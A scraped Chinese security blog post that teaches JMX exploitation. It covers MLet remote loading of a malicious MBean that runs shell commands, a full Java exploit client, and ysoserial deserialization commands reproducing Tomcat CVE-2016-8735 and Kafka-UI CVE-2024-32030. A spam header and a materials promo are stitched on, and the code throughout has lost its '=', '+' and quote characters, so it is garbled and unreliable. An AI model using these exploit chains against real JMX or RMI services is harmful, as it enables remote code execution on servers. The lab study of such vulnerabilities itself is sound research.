湖北最专业的公司网站建设平台,新企业建网站,城市网站建设摘要论文,网站服务器搭建与管理前言
前段时间看到普元 EOS Platform 爆了这个洞#xff0c;Apache James#xff0c;Kafka-UI 都爆了这几个洞#xff0c;所以决定系统来学习一下这个漏洞点。
JMX 基础
JMX 前置知识
JMX#xff08;Java Management Extensions#xff0c;即 Java 管理扩展#xff0…前言
前段时间看到普元 EOS Platform 爆了这个洞Apache JamesKafka-UI 都爆了这几个洞所以决定系统来学习一下这个漏洞点。
JMX 基础
JMX 前置知识
JMXJava Management Extensions即 Java 管理扩展是一个为应用程序、设备、系统等植入管理功能的框架。JMX 可以跨越一系列异构操作系统平台、系统体系结构和网络传输协议灵活的开发无缝集成的系统、网络和服务管理应用。
可以简单理解 JMX 是 java 的一套管理框架coders 都遵循这个框架实现对代码应用的监控与管理。 JMX 的结构一共分为三层
1、基础层主要是 MBean被管理的资源。分为四种常用需要关注的是两种。
standard MBean 这种类型的 MBean 最简单它能管理的资源包括属性、方法、时间必须定义在接口中然后 MBean 必须实现这个接口。它的命令也必须遵循一定的规范例如我们的 MBean 为 Hello则接口必须为 HelloMBean。dynamic MBean 必须实现 javax.management.DynamicMBean 接口所有的属性方法都在运行时定义。 2、适配层MBeanServer主要是提供对资源的注册和管理。 3、接入层Connector提供远程访问的入口。
JMX 基础代码实践
以下代码实现简单的 JMX demo文件结构
├── HelloWorld.java
├── HelloWorldMBean.java
└── jmxDemo.javaHelloWorldMBean.java
package org.example;public interface HelloWorldMBean {public void sayhello();public int add(int x, int y);public String getName();
}
HelloWorld.java
package org.example;public class HelloWorld implements HelloWorldMBean{private String name Drunkbaby;Overridepublic void sayhello() {System.out.println(hello world this.name);}Overridepublic int add(int x, int y) {return x y;}Overridepublic String getName() {return this.name;}
}
jmxDemo.java
package org.example;import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class jmxDemo {public static void main(String[] args) throws Exception{MBeanServer mBeanServer ManagementFactory.getPlatformMBeanServer();ObjectName mbsName new ObjectName(test:typeHelloWorld);HelloWorld mbean new HelloWorld();mBeanServer.registerMBean(mbean, mbsName);// 创建一个 RMI RegistryRegistry registry LocateRegistry.createRegistry(1099);// 构造 JMXServiceURL绑定创建的 RMIJMXServiceURL jmxServiceURL new JMXServiceURL(service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi);// 构造JMXConnectorServer关联 mbserverJMXConnectorServer jmxConnectorServer JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);jmxConnectorServer.start();System.out.println(JMXConnectorServer is ready);System.out.println(press any key to exit.);System.in.read();}
}
其中
Probe Level创建了 HelloWorldMBean 实例 mbeanAgent Level创建了 MBeanServer 实例 mbsRemote Management Level: 创建了JMXServiceURL绑定到本地 1099 rmi关联到MBeanServer mbs
JMX 安全问题
JMX 的安全问题主要发生在以下三处
1、jmx 2、mbean 3、rmi
其中通过利用 MLet 是最常用的攻击手法算是 jmx 特性 mbean 利用接下来我们详细来看看 Mlet 的漏洞利用及原理。
Mlet Mlet 指的是 javax.management.loading.MLet该 mbean 有个 getMBeansFromURL 的方法可以从远程 mlet server 加载 mbean。 攻击过程
启动托管 MLet 和含有恶意 MBean 的 JAR 文件的 Web 服务器使用JMX在目标服务器上创建 MBeanjavax.management.loading.MLet 的实例调用 MBean 实例的 getMBeansFromURL 方法将 Web 服务器 URL 作为参数进行传递。JMX 服务将连接到http服务器并解析MLet文件JMX 服务下载并归档 MLet 文件中引用的 JAR 文件使恶意 MBean 可通过 JMX 获取攻击者最终调用来自恶意 MBean 的方法
下面我们来编写一个漏洞实例。
Evil MBean
文件结构
├── Evil.java
└── EvilMBean.javaEvilMBean.java
package com.drunkbaby.mlet; public interface EvilMBean { public String runCommand(String cmd);
}Evil.java
package com.drunkbaby.mlet; import java.io.BufferedReader;
import java.io.InputStreamReader; public class Evil implements EvilMBean
{ public String runCommand(String cmd) { try { Runtime rt Runtime.getRuntime(); Process proc rt.exec(cmd); BufferedReader stdInput new BufferedReader(new InputStreamReader(proc.getInputStream())); BufferedReader stdError new BufferedReader(new InputStreamReader(proc.getErrorStream())); String stdout_err_data ; String s; while ((s stdInput.readLine()) ! null) { stdout_err_data s\n; } while ((s stdError.readLine()) ! null) { stdout_err_data s\n; } proc.waitFor(); return stdout_err_data; } catch (Exception e) { return e.toString(); } }
}Mlet Server
将原本的文件打包为 jar 包。步骤省略了就是 build Artifacts。随后编写 evil.html
htmlmlet codecom.drunkbaby.mlet.Evil archiveJMX.jar nameMLetCompromise:nameevil,id1 codebasehttp://127.0.0.1:4141/mlet/html整体结构如图 Attack Code
ExploitJMXByRemoteMBean.java
package com.drunkbaby.mlet; import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.net.MalformedURLException;
import java.util.HashSet;
import java.util.Iterator; public class ExploitJMXByRemoteMBean { public static void main(String[] args) { try {
// connectAndOwn(args[0], args[1], args[2]); connectAndOwn(localhost,1099,open -a Calculator); } catch (Exception e) { e.printStackTrace(); } } static void connectAndOwn(String serverName, String port, String command) throws MalformedURLException { try { // step1. 通过rmi创建 jmx连接 JMXServiceURL u new JMXServiceURL(service:jmx:rmi:///jndi/rmi:// serverName : port /jmxrmi); System.out.println(URL: u , connecting); JMXConnector c JMXConnectorFactory.connect(u); System.out.println(Connected: c.getConnectionId()); MBeanServerConnection m c.getMBeanServerConnection(); // step2. 加载特殊MBeanjavax.management.loading.MLet ObjectInstance evil_bean null; ObjectInstance evil null; try { evil m.createMBean(javax.management.loading.MLet, null); } catch (javax.management.InstanceAlreadyExistsException e) { evil m.getObjectInstance(new ObjectName(DefaultDomain:typeMLet)); } // step3通过MLet加载远程恶意MBean System.out.println(Loaded evil.getClassName()); Object res m.invoke(evil.getObjectName(), getMBeansFromURL, new Object[] { http://localhost:4141/evil.html}, new String[] { String.class.getName() } ); HashSet res_set ((HashSet)res); Iterator itr res_set.iterator(); Object nextObject itr.next(); if (nextObject instanceof Exception) { throw ((Exception)nextObject); } evil_bean ((ObjectInstance)nextObject); // step4: 执行恶意MBean System.out.println(Loaded class: evil_bean.getClassName() object evil_bean.getObjectName()); System.out.println(Calling runCommand with: command); Object result m.invoke(evil_bean.getObjectName(), runCommand, new Object[]{ command }, new String[]{ String.class.getName() }); System.out.println(Result: result); } catch (Exception e) { e.printStackTrace(); } }
}很明显这里是和远程的 jar 包进行了连接而远程的 jar 包上面放置了恶意的 MBean关于 Mlet 的攻击流程和漏洞分析会在文章后半部分展开来讲。
帮助网安学习全套资料S信免费领取 ① 网安学习成长路径思维导图 ② 60网安经典常用工具包 ③ 100SRC分析报告 ④ 150网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集含答案 ⑧ APP客户端安全检测指南安卓IOS
JMX 反序列化漏洞
在实际场景中 JMX 一般出现的漏洞点都是在某某反序列化当中。下面内容总结一下可能存在的三个问题
JMX 自身反序列化漏洞 —— CVE-2016-3427/CVE-2016-8735
漏洞描述
这其实是 JDK 的洞 —— JMX 导致的但是由于 Tomcat 没有及时打补丁所以这个漏洞被披露在 Tomcat 中。该漏洞的底层原因是由于 Tomcat 在配置 JMX 做监控时使用了 JmxRemoteLifecycleListener() 方法。
漏洞利用前置条件为 JmxRemoteLifecycleListener 监听的 10001 和 10002 端口被开放。
影响版本
Apache Tomcat 9.0.0.M1 - 9.0.0.M11 Apache Tomcat 8.5.0 - 8.5.6 Apache Tomcat 8.0.0.RC1 - 8.0.38 Apache Tomcat 7.0.0 - 7.0.72 Apache Tomcat 6.0.0 - 6.0.47
环境搭建
https://github.com/Drun1baby/CVE-Reproduction-And-Analysis/tree/main/Apache/Tomcat/CVE-2016-8735
需要添加一个 listener 和 catalina.sh网上教程都有包括两个 jar 包我这里不再赘述了。
漏洞复现
漏洞复现的 EXP 已经有了
java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit localhost 10001 Groovy1 touch /tmp/success漏洞触发点 org.apache.catalina.mbeans.JmxRemoteLifecycleListener#createServer
try { RMIJRMPServerImpl server new RMIJRMPServerImpl(this.rmiServerPortPlatform, serverCsf, serverSsf, theEnv); cs new RMIConnectorServer(serviceUrl, theEnv, server, ManagementFactory.getPlatformMBeanServer()); cs.start(); registry.bind(jmxrmi, server); log.info(sm.getString(jmxRemoteLifecycleListener.start, new Object[]{Integer.toString(theRmiRegistryPort), Integer.toString(theRmiServerPort), serverName}));
} catch (AlreadyBoundException | IOException var15) { log.error(sm.getString(jmxRemoteLifecycleListener.createServerFailed, new Object[]{serverName}), var15);
}很经典的手法registry.bind() 调用反序列化接着通过 Grovvy1 链触发
同样这里其实也是用 RMI 协议来打的。
利用 Mlet 的方式动态加载 MBean
这个有点意思上面在讲 Mlet 攻击的时候其实我们有提到Mlet 是通过加载远程的 jar 包调用里面的 codebase 来 rce 的。
而 JMX 调用远程 MBean 方法有以下流程
1、MBean name、MBean Function Name、params发送给远程的 rmi server其中 params 需要先统一转换为 MarshalledObject通过 readObject 转换为字符串。 2、RMI Server监听到网络请求包含MBean name、MBean Function Name、 params其中params经过MarshalledObject.readObject() 反序列化再通过invoke调用原函数。
所以这里只需要我们恶意构造 String 进行反序列化就可以进行攻击。在 ysoserial 当中这一个类为 JMXInvokeMBean
package ysoserial.exploit;import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;import ysoserial.payloads.ObjectPayload.Utils;/** Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.* */
public class JMXInvokeMBean {public static void main(String[] args) throws Exception {if ( args.length 4 ) {System.err.println(JMXInvokeMBean.class.getName() host port payload_type payload_arg);System.exit(-1);}JMXServiceURL url new JMXServiceURL(service:jmx:rmi:///jndi/rmi:// args[0] : args[1] /jmxrmi);JMXConnector jmxConnector JMXConnectorFactory.connect(url);MBeanServerConnection mbeanServerConnection jmxConnector.getMBeanServerConnection();// create the payloadObject payloadObject Utils.makePayloadObject(args[2], args[3]); ObjectName mbeanName new ObjectName(java.util.logging:typeLogging);mbeanServerConnection.invoke(mbeanName, getLoggerLevel, new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});//close the connectionjmxConnector.close();}
}我看下来两种漏洞利用的最终思路是很类似的都是 RMi 去打反序列化不一样的点在于一个是利用 RMIxxx.bind() 另外一种是在用 jmx:rmi// 协议去打。
当漏洞照进现实 —— CVE-2024-32030 Kafka-UI 反序列化漏洞
https://securitylab.github.com/advisories/GHSL-2023-229_GHSL-2023-230_kafka-ui/#/
漏洞描述
Kafka UI 是 Apache Kafka 管理的开源 Web UI。Kafka UI API 允许用户通过指定网络地址和端口连接到不同的 Kafka brokers。作为一个独立的功能它还提供了通过连接到其 JMX 端口监视 Kafka brokers 性能的能力。 CVE-2024-32030 中由于默认情况下 Kafka UI 未开启认证授权攻击者可构造恶意请求利用后台功能执行任意代码控制服务器。官方已发布安全更新修复该漏洞。
影响版本
Kafka-UI 0.7.1
环境搭建
Kafka-UI 的 docker
version: 3.8services:kafka-ui:image: provectuslabs/kafka-ui:v0.7.1container_name: kafka-uienvironment:- DYNAMIC_CONFIG_ENABLEDtrue- JAVA_OPTS-agentlib:jdwptransportdt_socket,servery,suspendn,address*:5005ports:- 8080:8080- 5005:5005Kafka 的 UI之前分析 Kafka 漏洞的时候就写过了
version: 2services:zookeeper:image: zookeeperrestart: alwaysports:- 2181:2181container_name: zookeeperkafka:image: wurstmeister/kafkarestart: alwaysports:- 9092:9092- 9094:9094depends_on:- zookeeperenvironment:KAFKA_ADVERTISED_HOST_NAME: 127.0.0.1KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181KAFKA_LISTENERS: PLAINTEXT://0.0.0.0:9092,SSL://0.0.0.0:9094KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://127.0.0.1:9092,SSL://127.0.0.1:9094KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,SSL:SSLKAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXTcontainer_name: kafka漏洞复现
使用 ysoserial 直接打起一个恶意的 JMX 服务。
git clone https://github.com/artsploit/ysoserial/
cd ysoserial git checkout scala1
mvn package -D skipTeststrue #make sure you use Java 8 for compilation, it might not compile with recent versions
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 org.apache.commons.collections.enableUnsafeSerialization:true开启了之后使用 Kafka-UI 去连接该 JMX 第一步先开启 org.apache.commons.collections.enableUnsafeSerialization:true再进行 CC 的反序列化。
服务器接收到恶意的请求 随后第二步直接使用 CC 链打。
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 CommonsCollections7 touch /tmp/pwnd2.txt攻击成功 漏洞分析
通过简单的搜索就可以确定漏洞入口在 com.provectus.kafka.ui.controller.ClustersController#updateClusterInfo
最终的触发点是在com.provectus.kafka.ui.service.metrics.JmxMetricsRetriever#retrieveSync 方法 后面其实就是 RMI 的部分了当然这里还涉及到了 Scala1 链暂时不展开。
这一个漏洞其实也是 jmx://rmi// 可控造成的一个问题。但是这里的修复只是更新了一部分依赖把 CC3 更新成了 CC4。所以其实还是存在一定的绕过的。